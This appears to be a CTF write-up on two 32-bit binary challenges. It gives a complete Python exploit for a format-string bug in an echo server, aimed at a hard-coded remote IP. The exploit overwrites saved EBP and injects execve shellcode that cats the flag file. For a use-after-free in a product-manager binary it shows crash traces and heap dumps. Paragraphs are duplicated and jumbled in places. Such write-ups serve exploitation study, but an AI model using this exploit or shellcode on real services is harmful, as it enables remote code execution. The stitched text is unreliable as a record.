EBP is a simple 32 bit ELF with NX disabled. Its an echo server with format string vulnerability. Data received using fgets is passed on to snprint call
So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.
But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit
ProdManager - Use After free
prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.
The binary reads flag file into memory and provides the following options:
We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure
Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue
[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] See and remove lowest 3 products in manager
Setting MALLOC_PERTURB_=204, this is what we get
[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] Create a profile
[*] See and remove lowest 3 products in manager
The format string vulnerability in make_response() call will enable to read data starting from make_reponse stack frame. This is what call stack looks like, main -> echo -> make_response. But we have an issue, format string is not located in stack. Hence we cannot pass arbitrary address to perform a memory write
.text:08048557 mov eax, ds:[email protected]@GLIBC_2_0
.text:0804855C mov [esp+8], eax ; stream
.text:08048560 mov dword ptr [esp+4], 1024 ; n
.text:08048568 mov dword ptr [esp], offset buf ; s
.text:0804856F call _fgets
.text:08048503 mov dword ptr [esp+8], offset buf ; format
.text:0804850B mov dword ptr [esp+4], 1024 ; maxlen
.text:08048513 mov dword ptr [esp], offset response ; s
.text:0804851A call _snprintf
So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.
But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit
Flag for the challenge is who_needs_stack_control_anyway?
#!/usr/bin/env python
import sys
import time
import socket
import struct
import telnetlib
ip = '127.0.0.1'
ip = '52.6.64.173'
port = 4545
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
def push(string):
length = len(string)
if (length % 4) != 0:
string = '/' * (4 - (length % 4)) + string
pushop = chr(0x68)
payload = ''
for i in range(0, len(string), 4):
sub = string[i:i+4]
payload = (pushop + sub) + payload
return payload
shellcode = ("\x31\xc0\x50" +
push("/home/problem/flag.txt") +
"\x89\xE7\x50" +
push("/bin/cat") +
"\x89\xe3"+
"\x50\x57" +
"\x53\x89\xE1\x89\xc2\xb0\x0b"+
"\xcd\x80\x31\xc0\x40\xcd\x80")
fmt_len = 16
fake_ebp = 0x0804A080 + fmt_len
fake_eip = fake_ebp + 8
payload = "%." + str(fake_ebp) + "u%4$n"
payload += struct.pack("<I", fake_ebp+200) # fake_ebp
payload += struct.pack("<I", fake_eip) # controlled eip
payload += shellcode
print "[*] Sending format string payload"
soc.send(payload + chr(0xa))
print "[*] Half close socket to trigger payload"
soc.shutdown(socket.SHUT_WR)
print "[*] Waiting for data"
s = telnetlib.Telnet()
s.sock = soc
f = s.read_all().split(chr(0xa))[1]
print f
ProdManager - Use After free
prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.
The binary reads flag file into memory and provides the following options:
Creating a new product, calls a malloc(76) and there is series of other operations. Lets trace creation of 10 new products using data structure recovery tool
Menu options:
1) Create a new product
2) Remove a product
3) Add a product to the lowest price manager
4) See and remove lowest 3 products in manager
5) Create a profile (Not complete yet)
Input:
Below is the visualization of memory access and it looks like a doubly-linked list. 2nd DWORD being next pointer and 3rd DWORD being previous pointer. Also 2 pointers are maintained in bss memory, one is pointer[0x0804c1d8] to head of list and other is pointer[0x0804c1dc] is tail of list.
$ pin -t obj-ia32/structtrace.so -- programs/prodmanager
$ python structgraph.py --filename StructTrace --bss --relink --nullwrite
Creating 3 products and adding it to lowest price manager leaves us with this.
struct node
{
int price;
struct node *next;
struct node *prev;
int a;
int b;
int c;
char name[50];
};
We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure
The use-after-free vulnerability
struct node
{
int price;
struct node *next;
struct node *prev;
struct node *a;
struct node *b;
struct node *c;
char name[50];
};
Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue
[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] See and remove lowest 3 products in manager
Setting MALLOC_PERTURB_=204, this is what we get
EAX has value fetched from freed memory. Create profile option also allocates 76 bytes, which is equal to the product object. So this option could be used to reallocate the same memory with user controlled data for further exploitation.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xcccccccc
EBX: 0xf7fb4000 --> 0x1a9da8
ECX: 0x0
EDX: 0x804d0a8 --> 0xcccccccc
ESI: 0x0
EDI: 0x0
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0
ESP: 0xffffcbd0 --> 0xc0
EIP: 0x804955c (mov edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049553: mov eax,DWORD PTR [ebp+0x8]
0x8049556: mov eax,DWORD PTR [eax+0x4]
0x8049559: mov eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov edx,DWORD PTR [eax+0x14]
[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] Create a profile
[*] See and remove lowest 3 products in manager
EAX points to 0x41414141
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xf7fb4000 --> 0x1a9da8
ECX: 0x0
EDX: 0x804d0a8 ('A', "\n")
ESI: 0x0
EDI: 0x0
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0
ESP: 0xffffcbd0 --> 0xc0
EIP: 0x804955c (mov edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049553: mov eax,DWORD PTR [ebp+0x8]
0x8049556: mov eax,DWORD PTR [eax+0x4]
0x8049559: mov eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov edx,DWORD PTR [eax+0x14]
From here, one needs to setup fake pointers such that the program shouldn't crash and also dump the flag from memory. Full solution for the challenge is here
Used chunks of memory on heap
-----------------------------
0: 0x0804d008 -> 0x0804d057 80 bytes uncategorized::80 bytes |01 00 00 00 58 d0 04 08 00 00 00 00 00 00 00 00 58 d0 04 08 a8 d0 04 08 31 0a 00 00 00 00 00 00 |....X...........X.......1.......|
1: 0x0804d058 -> 0x0804d0a7 80 bytes uncategorized::80 bytes |02 00 00 00 00 00 00 00 08 d0 04 08 08 d0 04 08 00 00 00 00 00 00 00 00 32 0a 00 00 00 00 00 00 |........................2.......|
2: 0x0804d0a8 -> 0x0804d0f7 80 bytes C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|